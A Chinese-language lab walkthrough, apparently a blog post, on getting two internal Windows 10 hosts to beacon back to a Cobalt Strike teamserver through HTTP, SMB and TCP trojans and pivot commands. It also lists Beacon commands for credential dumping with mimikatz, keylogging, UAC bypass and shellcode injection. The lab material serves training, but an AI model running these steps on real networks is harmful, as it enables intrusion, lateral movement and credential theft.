实验目的:
1、通过使用http木马、使内网win10主机1上线CS,
2、在此基础上,上传SMB木马、TCP木马到内网win10主机2,使内网win10主机2上线CS**
一、拓补图
其中
1:内网win10主机1:10.23.142.1
2:攻击机kali:192.168.77.128(VPN:10.99.98.169)
3:外网路由器,外网可访问:10.23.142.100(10.23.142.200可访问内网win10主机1)
4:内网win10主机2:10.100.10.100
二、开启CS
1、kali在CS文件目录下,打开终端,运行命令:
命令:/teamserver 192.168.77.128 123456
,其中192.168.77.128为kali攻击机的IP,123456为密码
需要先对teamserver赋权,命令:chmod +x teamserver
2、在windows中双击bat文件:
3、连接服务端,填写图下信息:
4、建立监听
监听IP:192.168.77.128(攻击机IP)
端口:1111
第一种使用http的木马
![在这里插入图片描述](https://img-blog.csdnimg.cn/16432b48b40f43dda3143a09467ea166.png
一、外网路由器IP:10.23.142.100
3389远程连接10.23.142.200,可访问内网win10主机1
![在这里插入图片描述](https://img-blog.csdnimg.cn/dd933acfa5704d7187b214e20fa6a0a7.png
二、将生成的http木马,上传至内网win10主机1
三、双击运行,CS上线
四、是否连通的自查方法:
①kali与物理机可互通
②物理机与内网windows10跳板机1互通
这里使用的是http协议的木马
Beacon shell命令介绍
Beacon Commands
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peer over TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges on current token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peer over a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID for spawned post-ex jobs
ps 显示进程列表
p**ec Use a service to spawn a session on a host
p**ec_psh Use PowerShell to spawn a session on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program under another PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parent Beacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
第二种使用SMB木马
一、生成SMB木马上传至内网win10主机2
![在这里插入图片描述](https://img-blog.csdnimg.cn/6c309e577ebe4de0857319f5129417f9.png
二、内网win10主机1中python开启web服务
三、登录内网win10主机2,搜索内网win10主机1跳板机IP:192.168.26.200
四、找到SMB木马,下载并运行
五、在内网win10主机1中interact中输入:
link 10.100.10.100
内网win10主机2上线SMB木马
成功利用SMB木马,使内网win10主机2上线CS
第三种TCP木马上线内网win10主机2的CS
一、新增TCP–listener
二、生成TCP木马
三、上传到内网win10主机1
四、在内网win10主机2,下载TCP木马,双击运行:
五、在内网win10主机1中interact中输入命令:
connect 10.100.10.100 4444
内网win10主机2上线TCP木马
TCP木马上线成功